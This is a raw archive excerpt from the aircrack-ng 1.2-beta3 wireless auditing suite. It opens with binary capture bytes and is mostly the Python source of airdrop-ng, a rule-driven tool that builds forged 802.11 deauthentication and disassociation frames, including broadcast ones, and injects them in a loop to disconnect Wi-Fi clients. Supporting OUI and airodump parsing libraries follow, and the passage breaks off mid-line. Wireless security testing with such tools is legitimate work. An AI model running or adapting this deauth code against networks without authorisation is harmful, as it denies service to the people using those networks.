ÔÎU˜ï®gYDª•oo€ÿÿÿÿÿÿ †Â¤… †Â¤…!h–/D%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ®gYDh™H †Â¤…ÎU˜ï †Â¤…pI®gYDlš ÔÎU˜ï®gYD•üH †Â¤…ÎU˜ï †Â¤…€Iaircrack-ng-1.2-beta3/scripts/0000755000000000000000000000000012316431267014723 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airdrop-ng/0000755000000000000000000000000012316431261016757 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airdrop-ng/airdrop-ng0000755000000000000000000012607512026176322020764 0ustar rootroot#!/usr/bin/env python #part of project lemonwedge __author__ = "TheX1le & King_Tuna" __version__ = "2012.2.17.1.54.00" __licence__ = "GPL2" """ Airdrop-ng A rule based wireless deauth tool a compoent of project lemonwedge Written by Thex1le and King_Tuna """ import sys, optparse, re, time, random, os import pdb #update the path with sub directories #lib for the libraries and support for the oui.txt file # adds possible paths for support modules #sys.path.extend(["./lib","/usr/lib/airdrop-ng"]) from time import sleep,localtime from airdrop import bcolors, install_dir from airdrop import libOuiParse, libDumpParse from binascii import a2b_hex try: import PyLorcon2 except ImportError, e: print "Did you read the readme? You seem to be missing PyLorcon2" print e class messages: """ handle all printing allows for central logging """ def __init__(self,log, dir="/var/log/"): """ int vars for printing class """ date = localtime() self.date = str(date[0])+str(date[1])+str(date[2]) self.time = str(date[3])+"-"+str(date[4])+"-"+str(date[5]) self.logging = log #log error messages to a file #logfile self.logfile = dir+'/airdrop-ng_'+self.date+"-"+self.time+".log" self.color = True #enable colors self.logBuff = [] #hold info before we write to a file if self.logging == True: try: file = open(self.logfile,'a') file.write(self.date+"-"+self.time+"\n") file.write("Airdrop-ng Logfile\n") file.close except IOError,e: self.logging = False self.printError(["Could not open file "+self.logfile+"\n\n", str(e)+"\n"]) def printMessage(self,message): """ print standard info messages """ TYPE = type(message).__name__ if TYPE == 'list': for line in message: print line elif TYPE == 'str': print message self.log(message,TYPE) def printError(self,error): """ write errors to stderr in red """ TYPE = type(error).__name__ if TYPE == 'list': for line in error: sys.stderr.write(bcolors.FAIL+line+"\n"+bcolors.ENDC) elif TYPE == 'str': sys.stderr.write(bcolors.FAIL+error+"\n"+bcolors.ENDC) self.log(error,TYPE) def log(self,data,TYPE): """ write all messages to a file """ if self.logging is False: return try: file = open(self.logfile,'a') except IOError,e: self.logging = False self.printError(["Could not open file "+self.logfile+"\n", str(e)+"\n"]) sys.exit(-1) if TYPE == 'list': for item in data: file.write(str(item)+"\n") #str allows me to print out data structures elif TYPE == 'str': file.write(data) file.close class parseFiles: """ parse users acl rules into a dict for matching """ def fileOpen(self,name): """ Open the file and read in the rules and remove \\n characters """ try: openFile = open(name,"r") except IOError,e: message.printError("\nAirdrop-ng rule file "+name+" does not exist") sys.exit(-1) rules = openFile.xreadlines() cleanedRules = [] for line in rules: cleanedRules.append(line.rstrip()) openFile.close() return cleanedRules def translateOUI(self,ouiLst,flag): """ take an oui and find all matching mac addresses in the sniffed data """ clientLst =[] #empty client list to hold are found clients #check if were doing client oui beck or bssid oui check if flag == 'c': db = self.airoClient.keys() elif flag == 'b': db = self.airoAP.keys() for key in db: if key[:8] in ouiLst: clientLst.append(key) return clientLst def ruleParse(self,ruleRaw): """ parse the actual rules and return a dictionary """ clientList = [] pipe = ruleRaw.find('|') clientOuiList = [] #list to store client ouis bssidOuiList = [] #list to store bssid ouis bssid = None #place holder bssidList = [] essidList = {} #build an essid to bssid lookup #BUG may be here if a essid has multiple bssids for ap in self.airoAP.values(): essidList[ap["bssid"]] = ap["essid"] compTrue = ruleRaw[1:].find(';') if compTrue != -1: delim = ';' else: compTrue = ruleRaw[1:].find(',') if compTrue == -1: delim = ';' else: delim = ',' for postion in ruleRaw[pipe+1:].split(delim): if postion.upper() == "ANY": #client any break else: cmac = postion.upper().replace("-",":") if self.validMacChk(cmac) == True: #build a list of clients clientList.append(cmac) elif ouiLookup.compKeyChk(postion) == True: #company oui lookup #check to see if its an company name we can lookup clientOuiList.extend(ouiLookup.lookup_company(postion)) elif ouiLookup.ouiKeyChk(postion) == True: #oui match #check to see if its an oui we can lookup clientOuiList = [postion] else: message.printMessage([ "\nInvalid mac or company name", "at "+postion+" in "+ruleRaw," Moving on to next rule"]) return False #translate ouis then append them to client list if clientOuiList != []: clientList.extend( self.translateOUI(clientOuiList,'c') ) clientOuiList = [] #empty the var #begin bssid parse if ruleRaw[2:pipe].upper() != "ANY": bssidMac = ruleRaw[2:pipe].replace("-",":") valid = self.validMacChk(bssidMac) if valid == True : #match mac address bssidList = [bssidMac.upper()] elif bssidMac in essidList.values(): #bssidMac is provided by the user and at this point is most #likely a essid for bssid in essidList: #bssid is a true bssid if essidList[bssid] == bssidMac: bssidList.append(bssid) elif ouiLookup.compKeyChk(bssidMac) == True: #company oui lookup bssidOuiList.extend(ouiLookup.lookup_company(bssidMac)) if bssidOuiList != []: bssidList.extend( self.translateOUI(bssidOuiList,'b') ) bssidOuiList = [] #empty var elif ouiLookup.ouiKeyChk(bssidMac) == True: #oui match #check to see if its an oui we can lookup bssidOuiList = [bssidMac] bssidList = self.translateOUI(bssidOuiList,'b') bssidOuiList = [] #empty var else: message.printMessage([ "\nInvalid mac or company name", "at "+postion+" in "+ruleRaw," Moving on to next rule"]) return False else: bssidList = ["ANY"] if bssidList == []: message.printMessage(["\nInvalid mac in bssid section of "+ruleRaw, "Or no matching ouis found in sniffed data", "Moving on to next rule"]) return False state = ruleRaw[0].lower() if len(bssidList) <= 1: #if we only have one bssid we dont want to nest the dict in a list for bssid in bssidList: if clientList == [] and postion.upper() != 'ANY': ruleDict = { "state":state, "bssid":bssid, "clients":[postion], "raw":ruleRaw} if clientList == [] and postion.upper() == 'ANY': ruleDict = { "state":state, "bssid":bssid, "clients":"ANY", "raw":ruleRaw} else: ruleDict = { "state":state, "bssid":bssid, "clients":clientList, "raw":ruleRaw} elif len(bssidList) > 1: #if more then one bssid nest each rule dict in a list ruleDict = [] for bssid in bssidList: if clientList == [] and postion.upper() != 'ANY': ruleDict.append({ "state":state, "bssid":bssid, "clients":[postion], "raw":ruleRaw }) elif clientList == [] and postion.upper() == 'ANY': ruleDict.append({ "state":state, "bssid":bssid, "clients":"ANY", "raw":ruleRaw }) else: ruleDict.append({ "state":state, "bssid":bssid, "clients":clientList, "raw":ruleRaw }) return ruleDict def validChk(self,rule): """ find commented lines """ ruleStrip = rule.strip('\t').lstrip() if ruleStrip == "": return False elif ruleStrip[0] == "#": return False else: return True def commentOff(self,rules): """ This is a horrible hack but the idea is to remove the commented lines """ validRules = [] while len(rules) != 0: chkme = rules.pop() if self.validChk(chkme) == True: validRules.append(chkme.strip('\t').lstrip()) return validRules def run(self,fileName,AiroDBs): """ populate ruleList """ #are the airoDB's used by translate ouis self.airoClient = AiroDBs[0]#airodump client db self.airoAP = AiroDBs[1]#airodump ap DB fileRules = self.fileOpen(fileName) rawRules = self.commentOff(fileRules) ruleList = {} ruleCounter = 0 rawRules.reverse() #reverse the rules as they get loaded in backwards for rule in rawRules: #populate ruleList prule = self.ruleParse(rule) ruleCounter += 1 if prule != False: ruleList[ruleCounter] = prule else: continue return ruleList def validMacChk(self,mac): """ Check for valid mac address If Invalid exit and print invalid mac and error msg to user """ #regex will match format of DE:AD:BE:EF:00:00 or DE-AD-BE-EF-00-00 check = '([a-fA-F0-9]{2}[:|\-]?){6}' if re.match(check, mac): return True else: return False class ruleMatch: """ In the process of being depreciated Do Rule matching #NOTE in the future leave capr static and dont delete from it """ def __init__(self,rulesDB,capr,ClientApDB,debug): """ create vars for rule matching """ self.violators = {} #dict with bssid as a key and list #of clients as nested list these cleints are our targets self.rulesDB = rulesDB #rules database self.capr = capr #client to ap relationship self.ClientApDB = ClientApDB #Access point dict contain all info about each Ap self.debug = debug #debug flag self.violators = {} #dict with bssid as a key and list of clients self.bssid = None #bssid of the rule we are looking at self.state = None #state of the rule either allow or deny self.clients = [] #client list that are affected by the rules self.rule = None #entire rule so we can print for debug mode self.Client = None #the client we are currently working with self.fullRule = None #the entire dict for printing in error messages self.num = None #number of rule we are matching def locate_key(self): """ take a client and locate its coresponding bssid iterate though capr and find unknown bssid a client is associated with """ for bssidKey in self.capr.keys(): if self.Client in self.capr[bssidKey]: client_bssid = bssidKey #break at first match break else: #return none in client cant #be found in capr client_bssid = None return client_bssid def rm_dupe(self,List): """ Remove duplicates from list """ dict = {} for item in List: dict[item]=item return dict.values() def ruleQue(self): """ set global class values one at a time then call matcher """ for num in sorted(self.rulesDB.keys()): #make sure the rules are called in order #it stops iterating at one less then we need so add +1 if type(self.rulesDB[num]).__name__ == "list": for rule in self.rulesDB[num]: self.bssid = rule["bssid"] self.state = rule["state"] self.clients = rule["clients"] self.rule = rule["raw"] self.fullRule = str(rule) self.num = str(num) self.match() #call matching else: self.bssid = self.rulesDB[num]["bssid"] self.state = self.rulesDB[num]["state"] self.clients = self.rulesDB[num]["clients"] self.rule = self.rulesDB[num]["raw"] self.fullRule = str(self.rulesDB[num]) self.num = str(num) self.match() #call matching return self.violators #return kicklist def match(self): """ Main list of rule conditions to check """ if self.bssid != "ANY": if self.ClientApDB[1].has_key(self.bssid): self.channel = self.ClientApDB[1][self.bssid]["channel"] #if this var doesnt get set it casues an error else: message.printMessage([ "\nInvaid bssid "+self.bssid+" not found in sniffed data", "Rule number "+self.num,self.rule, "Moving to next rule\n"]) return #start rule matching if self.capr.has_key(self.bssid) or self.bssid == 'ANY': #check to make sure we have target bssid in capr #start allow rule matching if self.state == "a": if self.bssid != "ANY" and self.clients != "ANY": #allow client to bssid rule matching #if no any's delete clients we want to allow from capr #the rest are valid targets for client in self.clients: #update current working client self.Client = client try: #atempt to remove client from capr dict position = self.capr[self.bssid].index(self.Client) del self.capr[self.bssid][position] except ValueError: pass if self.violators.has_key(self.bssid): #set allow bcast to False self.violators[self.bssid][0]["allow"] = False #set channel incase it has changed self.violators[self.bssid][0]["channel"] = self.channel else: self.violators[self.bssid] = [ {"allow":False,"channel":self.channel}, #support data [] #empty client list ] if self.debug == True: #debug flag message.printMessage(["Rule Number "+self.num, self.rule, self.fullRule, "Allow "+str(self.clients)+" client to "+self.bssid+" bssid\n"]) elif self.bssid != "ANY" and self.clients == "ANY": # #allow bssid any client rule matching #remove the bssid and all clients from our target list del self.capr[self.bssid] #remove the clients and the bssid from the target list #potential bug if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule, self.fullRule, "\nAll clients allowed to talk to "+self.bssid+" bssid", "No packets will be sent"]) elif self.bssid == "ANY" and self.clients == "ANY": #allow any any rule matching if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "All clients are allowed to all Aps No packets will be sent\n"]) message.printMessage(["\nReached "+self.rule+" "+self.fullRule, "Rule Number "+self.num, "Rule is allow any any no Packets will be sent"]) sys.exit(0) elif self.bssid == "ANY" and self.clients != "ANY": #allow some clients to talk to any AP for client in self.clients: self.Client = client self.bssid = self.locate_key() #look up each client and update self.bssid if self.bssid == None: message.printMessage([ "\nClient "+self.Client+" not found in sniffed data,", "Client will be ignored"]) #continue #skip this client and move on to the next in the for loop return else: #set channel self.channel = self.ClientApDB[1][self.bssid]["channel"] try: #locate the clients postion in capr position = self.capr[self.bssid].index(self.Client) del self.capr[self.bssid][position] #remove it from capr except ValueError: pass if self.violators.has_key(self.bssid): self.violators[self.bssid][0]["allow"] = False self.violators[self.bssid][0]["channel"] = self.channel else: self.violators[self.bssid] = [ {"allow":False,"channel":self.channel}, #support data [] #empty client list ] if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Allow "+self.Client+" client to "+self.bssid+" bssid\n"]) else: message.printError(["ERROR in config file at:", "Rule Numer "+self.num, self.rule,self.rulesDB, "Could not match "+self.bssid+" or "+self.clients, "Please check the rule and try again"]) sys.exit(-1) #deny rule matching elif self.state == "d": if self.bssid == "ANY" and self.clients == "ANY": #global deauth #any any match rule message.printMessage(["\nReached global deauth at rule "+self.rule, "Rule Number "+self.num, "All clients that dont have a rule will be kicked at this point"]) for key in self.capr: #looping though to allow channel lookup self.bssid = key self.channel = self.ClientApDB[1][self.bssid]["channel"] if self.violators.has_key(self.bssid): #we assume at this point that the bcast allow has been set self.violators[self.bssid][1].extend( self.capr[self.bssid] #add all clients ) #update channel incase it changed self.violators[self.bssid][0]["channel"] = self.channel else: self.violators[self.bssid] = [ {"allow":True,"channel":self.channel}, #support data self.capr[self.bssid] #list of clients to kick ] if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Deny "+str(self.capr[self.bssid])+" client to "+self.bssid+" bssid\n"]) #may change to a break since its an any any #continue #move on to the next rule in the list later ill prob break the iteration? elif self.bssid == "ANY" and self.clients != 'ANY': #deny any AP and select clients for client in self.clients: self.Client = client self.bssid = self.locate_key() if self.bssid == None: message.printMessage(["Unable to locate bssid for client "+client, " Skipping\n"]) continue #set channel self.channel = self.ClientApDB[1][self.bssid]["channel"] if self.bssid == None: message.printMessage(["Client "+self.Client+" not found in sniffed data", "client will be ignored"]) #continue #skip this client and move on to the next in the for loop continue if self.capr.has_key(self.bssid): #checking for valid targets if self.violators.has_key(self.bssid): #extend the list of targets self.violators[self.bssid][1].append(self.Client) self.violators[self.bssid][0]["channel"] = self.channel else: self.violators[self.bssid] = [ {"allow":False,"channel":self.channel}, [self.Client] ] if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Deny "+self.Client+" client to "+self.bssid+" bssid\n"]) elif self.bssid != "ANY" and self.clients == "ANY": #deny client any rule matching if self.violators.has_key(self.bssid): self.violators[self.bssid][1].extend(self.capr[self.bssid]) #remove any duplicate entries self.violators[self.bssid][1] = self.rm_dupe(self.violators[self.bssid][1]) self.violators[self.bssid][0]["channel"] = self.channel else: self.violators[self.bssid] = [ {"allow":True,"channel":self.channel}, self.capr[self.bssid] ] if self.debug == True: for client in self.violators[self.bssid][1]: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Deny "+client+" clients to "+self.bssid+" bssid\n"]) elif self.bssid != "ANY" and self.clients != "ANY": #deny between client and AP no anys used for client in self.clients: #do the following checks for each client self.Client = client if self.Client not in self.capr[self.bssid]: #if current client doesnt belong to current ap #dont generate a packet for it if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Client "+self.Client+" not attached to "+self.bssid, "Moving on\n"]) continue if self.violators.has_key(self.bssid): self.violators[self.bssid][1].append(self.Client) else: self.violators[self.bssid] =[ {"allow":False,"channel":self.channel}, [self.Client]] if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Deny "+self.Client+" client to "+self.bssid+" bssid\n"]) #do final processing on all affected clients #remove duplicates self.violators[self.bssid][1] = self.rm_dupe(self.violators[self.bssid][1]) #update channel on the card incase it changed self.violators[self.bssid][0]["channel"] = self.channel else: message.printMessage(["Config file error at line", self.rule,self.rulesDB[num], "State must be either an a for allow or d for deny"]) sys.exit(-1) return self.violators class packetGenerator: """ A collection of code for building packets """ def __init__(self,allow_bcast,destination_addr,source_addr,bss_id_addr,channel): """ intialize packet hex values """ self.packetTypes = { "deauth":'\xc0\x00', #deauthentication packet header "disass":'\xa0\x00' #disassoication packet header } self.packetBcast = { "ipv4":'\xff\xff\xff\xff\xff\xff', #ipv4 broadcast "ipv6":'\x33\x33\x00\x00\x00\x16', #ipv6 broadcast "stp":'\x01\x80\xc2\x00\x00\x00' #Spanning Tree broadcast } #note this also contains some multi cast addresses self.packetReason = [ '\x0a\x00', #Requested capability set is too broad '\x01\x00', #unspecified '\x05\x00', #disassociated due to insufficent resources at the ap '\x04\x00', #Inactivity timer expired '\x08\x00', #Station has left BSS or EBSS '\x02\x00' #Prior auth is not valid ] #reason codes #add more reason codes? self.allow_bcast = allow_bcast self.destination_addr = self.convertHex(destination_addr) self.source_addr = self.convertHex(source_addr) self.bss_id_addr = self.convertHex(bss_id_addr) self.channel = channel def buildPacket(self,type,dstAddr,srcAddr,bssid,reasonCode): """ Constructs the packets to be sent """ #packetParts positions are as follows #0:type 1:destination_addr 2:source_addr 3:bss_id_addr 4:reason packet = [type] #subtype packet.append('\x00\x00') #flags packet.append(srcAddr) #destain_addr packet.append(dstAddr) #source_addr packet.append(bssid) #bss_id_addr packet.append('\x70\x6a') #seq number packet.append(reasonCode) #reason code return "".join(packet) def convertHex(self,mac): """ convert a mac address to hex """ return a2b_hex(mac.replace(":","")) def packetEngine(self): """ Build each packet based on options """ packets = [] if self.allow_bcast == False: #broadcast packets will not be sent for type in self.packetTypes: # tx two packets with random reasons one two and one from packets.append([ self.buildPacket( self.packetTypes[type], #packet type self.destination_addr, #destinaion self.source_addr, #source self.bss_id_addr, #bssid self.randReason() #resoncode ), self.channel]) packets.append([ self.buildPacket( self.packetTypes[type], #packet type self.source_addr, #destination self.destination_addr, #source self.bss_id_addr, #bssid self.randReason() #reasoncode ), self.channel]) if self.allow_bcast == True: #broadcast packets will be sent for type in self.packetTypes: #tx two packets with random reasons one too bssid and one from bssid packets.append([ self.buildPacket( self.packetTypes[type], self.destination_addr, self.source_addr, self.bss_id_addr, self.randReason() ), self.channel]) packets.append([ self.buildPacket( self.packetTypes[type], self.source_addr, self.destination_addr, self.bss_id_addr, self.randReason() ), self.channel]) for bcast in self.packetBcast:#send bcast packets one two and one from packets.append([ self.buildPacket( self.packetTypes[type], #packet type self.packetBcast[bcast],#destination self.source_addr, #source self.bss_id_addr, #bssid self.randReason() #reasoncode ), self.channel]) packets.append([ self.buildPacket( self.packetTypes[type], #packet type self.source_addr, #destination self.packetBcast[bcast],#source self.bss_id_addr, #bssid self.randReason() #reasoncode ), self.channel]) return packets def randReason(self): """ Generate a random reason code for the kick """ return self.packetReason[ random.randrange( 0,len(self.packetReason),1 ) ] class getTargets(): """ Call parser for the airodump csv file and rule files """ def __init__(self,rules,data,debug): """ Init with all vars for getTargets class """ self.FileParsers = parseFiles() #call all file parsing functions self.AirParser = libDumpParse.airDumpParse() #call the airodump parser self.rules = rules #file name of rules file self.Airo = data #file name of airodump csv file self.debug = debug #debug flag self.targets = None #var to store matched targets in def dataParse(self): """ parse the user provided files and place their outputs into the rule matcher """ parsedAiro = self.AirParser.parser(self.Airo) parsedRules = self.FileParsers.run(self.rules,parsedAiro[1]) rMatch = ruleMatch(parsedRules,parsedAiro[0],parsedAiro[1],self.debug) return rMatch.ruleQue() def run(self): """ reparse all data every 4 seconds """ self.targets = self.dataParse() def lorconTX(pktNum=5,packet=None, channel=1 ,slept=0): """ Uses lorcon2 to send the actual packets """ #why the hell does pktNum default = 5? #pktNum is number each packet is sent count = 0 try: cchannel = tx.get_channel() except PyLorcon2.Lorcon2Exception ,e: message.printError(["\n Error Message from lorcon:",str(e), "Unable to get channel the wireless card is on"]) try: tx.set_channel(channel) #set the channel to send packets on except PyLorcon2.Lorcon2Exception ,e: message.printError(["\nError Message from lorcon:",str(e), "Unable to set channel card does not seem to support it", "Skipping packet"]) return False while count != pktNum: try: tx.send_bytes(packet) except PyLorcon2.Lorcon2Exception ,e: message.printMessage(['\nError Message from lorcon:',str(e), "Are you sure you are using the correct driver with the -d option?", "Or try ifconfig up on the card you provided and its vap."]) sys.exit(-1) count += 1 else: if slept > 0: sleep(slept) return def makeMagic(targets,slept = 0): """ function where the targes are looped though and packets are sent to them """ packetQue = [] packetCount = 1 #hard coded number of how many copys of each packet is sent for bssid in targets: for client in targets[bssid][1]: engine = packetGenerator( targets[bssid][0]["allow"], client,bssid,bssid, targets[bssid][0]["channel"] ) packetQue.extend(engine.packetEngine()) numPackets = len(packetQue) message.printMessage( "\nAttempting to TX "+str(numPackets)+" packets "+str(packetCount)+" times each") while len(packetQue) != 0: lorconTX( packetCount, #number of packets to send packetQue[0][0], #packet in hex int(packetQue[0][1]) #channel to tx the packet on ) sleep(slept) del packetQue[0] #remove the sent packet from the que message.printMessage( "\nSent "+str(numPackets)+" packets "+str(packetCount)+" times each") return numPackets * packetCount def help(): """ function for lemonwedge intigration supports its show help call """ print "<"+"~"*59+">\n" print "Airdrop Module for rule based deauth" print "This module requires airodump-ng to run" print "Module options:\n" print "\t? These need to be set" def firstLoad(): """ provides var names need to run airdrop used for calling airdrop from PLW """ allfunctionlist = { "startAirdrop":{ "iface":"", #injection interface "driver":"mac80211", #driver of the card we inject with "adlog":"/var/log/airodump-ng.log",#logfile to parse to decide on kick types "rules":install_dir + "/support/", #the drop rules "slept":"0" #sleep time between each packet tx's } } return allfunctionlist def startAirdop(): """ function for calling airdrop from PLW """ pass def usage(): """ Prints the usage to use airgraph-ng """ print "\n"+bcolors.OKBLUE+"#"*49 print "#"+" "*13+bcolors.ENDC+"Welcome to AirDrop-ng"+bcolors.OKBLUE+" "*13+"#" print "#"*49+bcolors.ENDC+"\n" def commandUsage(): print "\nSample command line arguments:" print "\npython airdrop-ng -i mon0 -t airodump.csv -r rulefile.txt\n" def OUIupdate(): """ update the ouilist """ message.printMessage("Updating OUI list...") ouiUpdate() sys.exit(0) if __name__ == "__main__": """ Main function. Parses command line input for proper switches and arguments. Error checking is done in here. Variables are defined and all calls are made from MAIN. """ usage() parser = optparse.OptionParser("usage: %prog options [-i,-t,-r] -s -p -b -n") # parser.add_option("-i", "--interface", dest="card",nargs=1, help="Wireless card in monitor mode to inject from") parser.add_option("-t", "--dump", dest="data", nargs=1 , help="Airodump txt file in CSV format NOT the pcap") parser.add_option("-r", "--rule",dest="rule", nargs=1 ,help="Rule File for matched deauths") parser.add_option("-s", "--sleep",dest="slept",default=0,nargs=1,type="int",help="Time to sleep between sending each packet") parser.add_option("-b", "--debug",dest="debug",action="store_true",default=False,help="Turn on Rule Debugging") parser.add_option("-l", "--logging",dest="log",action="store_true",default=False,help="Enable Logging to a file, if file path not provided airdrop will log to default location") parser.add_option("-n", "--nap",dest="nap",default=0,nargs=1,help="Time to sleep between loops") if len(sys.argv) <= 1: #check and show help if no arugments are provided at runtime parser.print_help() commandUsage() sys.exit(0) (options, args) = parser.parse_args() #set the program loop value #************ #HUDGE CHANGE #************ #basicly all of this code needs to be moved to startAirdrop() #************ #HUDGE CHANGE #************ #start up printing if args == []: message = messages(options.log) else: message = messages(options.log,args[0]) TotalPacket = 0 #total packets tx'd if os.geteuid() != 0: message.printError(["airdrop-ng must be run as root.\n", "Please 'su' or 'sudo -i' and run again.\n","Exiting...\n\n"]) sys.exit(-1) #no longer need to import lorcon here instead we should just test opening up the card and check for errors liborcon2 = '/usr/local/lib/liborcon2.so' if os.path.isfile(liborcon2) is False: liborcon2 = '/usr/lib/liborcon2.so' #support the ubuntu folks try: try: """ # the following code is marked for removal # more testing is needed try: liblorcon = lorcon.Lorcon(liborcon2) except OSError: message.printMessage(['\n', 'Unable to find liborcon2.so in /usr/local/lib or /usr/lib , is lorcon2 installed?']) sys.exit(-1) """ tx = PyLorcon2.Context(options.card) tx.open_injmon() except PyLorcon2.Lorcon2Exception ,e: message.printMessage(["\n", e,"Interface %s does not exist" %(options.card)]) sys.exit(-1) except ValueError: message.printMessage(["\n", "Interface %s does not exist" %(options.card)]) sys.exit(-1) try: #populate the oui lookup datatbases try: try: ouiLookup = libOuiParse.macOUI_lookup("./support/oui.txt") except IOError: ouiLookup = libOuiParse.macOUI_lookup(install_dir + "/support/oui.txt") except IOError: for path in libOuiParse.OUIPATH: message.printError(["oui.txt not found in " + path]) message.printError("Please run airodump-ng-oui-update") sys.exit(-1) except ImportError,e: message.printMessage(["\n",e,"ouiParser error"]) sys.exit(-1) #Start the main loop napTime = float(options.nap) Targeting = getTargets(options.rule,options.data,options.debug) #set zero packet flag to false zp = False while True: Targeting.run() if Targeting.targets != None: rtnPktCount = makeMagic(Targeting.targets,int(options.slept)) if rtnPktCount == 0: message.printMessage("Zero Packets were to be sent, Napping for 5 sec to await changes in sniffed data\n") zp = True TotalPacket += rtnPktCount if zp is True: time = 5 zp = False else: time = napTime message.printMessage("Waiting "+str(time)+" sec in between loops\n") sleep(time) except (KeyboardInterrupt, SystemExit): message.printMessage(["\nAirdrop-ng will now exit","Sent "+str(TotalPacket)+" Packets", "\nExiting Program, Please take your card "+options.card+" out of monitor mode"]) sys.exit(0) aircrack-ng-1.2-beta3/scripts/airdrop-ng/airdrop/0000755000000000000000000000000012316431261020417 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airdrop-ng/airdrop/libOuiParse.py0000755000000000000000000001304112136057703023216 0ustar rootroot#!/usr/bin/env python __author__ = 'Ben "TheX1le" Smith, Marfi' __email__ = 'thex1le@gmail.com' __website__= '' __date__ = '09/19/09' __version__ = '2009.11.23' __file__ = 'ouiParse.py' __data__ = 'a class for dealing with the oui txt file' """ ######################################## # # This program and its support programs are free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation; version 2. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # ######################################### """ from airdrop import install_dir import re import urllib2 import urllib import sys import os class macOUI_lookup: """ A class for deaing with OUIs and deterimining device type """ def __init__(self,oui=None,GetFile=False): """ generate the two dictionaries and return them """ aircrackOUI = None self.OUI_PATH = ["/etc/aircrack-ng/airodump-ng-oui.txt", "/usr/local/etc/aircrack-ng/airodump-ng-oui.txt", "/usr/share/aircrack-ng/airodump-ng-oui.txt", "/usr/share/misc/oui.txt", "/etc/manuf/oui.txt", "/usr/share/wireshark/wireshark/manuf/oui.txt", "/usr/share/wireshark/manuf/oui.txt"] # append any oui paths provided by program using lib to list if oui != None: self.OUI_PATH.append(oui) for PATH in self.OUI_PATH: if os.path.isfile(PATH): aircrackOUI=PATH if aircrackOUI == None: # default aircrackOUI=self.OUI_PATH[1] #a poor fix where if we have no file it trys to download it self.ouiTxtUrl = "http://standards.ieee.org/regauth/oui/oui.txt" self.ouiUnPath = install_dir#path to oui.txt if module is installed self.ouiInPath = install_dir + '/support/' #path to oui.txt if module is not installed self.ouiTxt = aircrackOUI self.ouiRaw = self.ouiOpen() self.oui_company = self.ouiParse() #dict where oui's are the keys to company names self.company_oui = self.companyParse() #dict where company name is the key to oui's def compKeyChk(self,name): """ check for valid company name key """ compMatch = re.compile(name,re.I) if self.company_oui.has_key(name): return True for key in self.company_oui.keys(): if compMatch.search(key) is not None: return True return False def ouiKeyChk(self,name): """ check for a valid oui prefix """ if self.oui_company.has_key(name): return True else: return False def lookup_OUI(self,mac): """ Lookup a oui and return the company name """ if self.ouiKeyChk(mac) is not False: return self.oui_company[mac][0] else: return False def lookup_company(self,companyLst): """ look up a company name and return their OUI's """ oui = [] if type(companyLst).__name__ == "list": for name in companyLst: compMatch = re.compile(name,re.I) if self.company_oui.has_key(name): oui.extend(self.company_oui[name]) else: for key in self.company_oui: if compMatch.search(key) is not None: oui.extend(self.company_oui[key]) elif type(companyLst).__name__ == "str": if self.company_oui.has_key(companyLst): oui = self.company_oui[companyLst] else: compMatch = re.compile(companyLst,re.I) for key in self.company_oui: if compMatch.search(key) is not None: oui.extend(self.company_oui[key]) #return the oui for that key return oui def ouiOpen(self): """ open the file and read it in """ ouiFile = open(self.ouiTxt, "r") text = ouiFile.readlines() #text = ouiFile.read() return text def ouiParse(self): """ generate a oui to company lookup dict """ HexOui= {} Hex = re.compile('.*(hex).*') #matches the following example "00-00-00 (hex)\t\tXEROX CORPORATION" ouiLines = self.ouiRaw for line in ouiLines: if Hex.search(line) != None: #return the matched text and build a list out of it lineList = Hex.search(line).group().replace("\t"," ").split(" ") #build a dict in the format of mac:company name HexOui[lineList[0].replace("-",":")] = [lineList[2]] return HexOui def companyParse(self): """ generate a company to oui lookup dict """ company_oui = {} for oui in self.oui_company: if company_oui.has_key(self.oui_company[oui][0]): company_oui[self.oui_company[oui][0]].append(oui) else: company_oui[self.oui_company[oui][0]] = [oui] return company_oui if __name__ == "__main__": import pdb # for testing x = macOUI_lookup() pdb.set_trace() aircrack-ng-1.2-beta3/scripts/airdrop-ng/airdrop/__init__.py0000644000000000000000000000144311717043663022543 0ustar rootrootimport os, sys class bcolors: """ class for using colored text """ HEADER = '\033[95m' #pink OKBLUE = '\033[94m' #blue OKGREEN = '\033[92m' #green WARNING = '\033[93m' #yellow FAIL = '\033[91m' #red ENDC = '\033[0m' #white def disable(self): """ fucntion to disable colored text """ self.HEADER = '' self.OKBLUE = '' self.OKGREEN = '' self.WARNING = '' self.FAIL = '' self.ENDC = '' encoding = sys.getfilesystemencoding() if hasattr(sys, 'frozen'): install_dir = os.path.abspath(os.path.dirname(unicode(sys.executable, encoding))) install_dir = os.path.abspath(os.path.dirname(unicode(__file__, encoding))) try: os.mkdir(install_dir + "/support") except: pass aircrack-ng-1.2-beta3/scripts/airdrop-ng/airdrop/libDumpParse.py0000644000000000000000000001244511342020747023367 0ustar rootroot#!/usr/bin/python #airodump parsing lib #returns in an array of client and Ap information #part of the airdrop-ng project from sys import exit as Exit class airDumpParse: def parser(self,file): """ One Function to call to parse a file and return the information """ fileOpenResults = self.airDumpOpen(file) parsedResults = self.airDumpParse(fileOpenResults) capr = self.clientApChannelRelationship(parsedResults) rtrnList = [capr,parsedResults] return rtrnList def airDumpOpen(self,file): """ Takes one argument (the input file) and opens it for reading Returns a list full of data """ try: openedFile = open(file, "r") except IOError: print "Error Airodump File",file,"does not exist" Exit(1) data = openedFile.xreadlines() cleanedData = [] for line in data: cleanedData.append(line.rstrip()) openedFile.close() return cleanedData def airDumpParse(self,cleanedDump): """ Function takes parsed dump file list and does some more cleaning. Returns a list of 2 dictionaries (Clients and APs) """ try: #some very basic error handeling to make sure they are loading up the correct file try: apStart = cleanedDump.index('BSSID, First time seen, 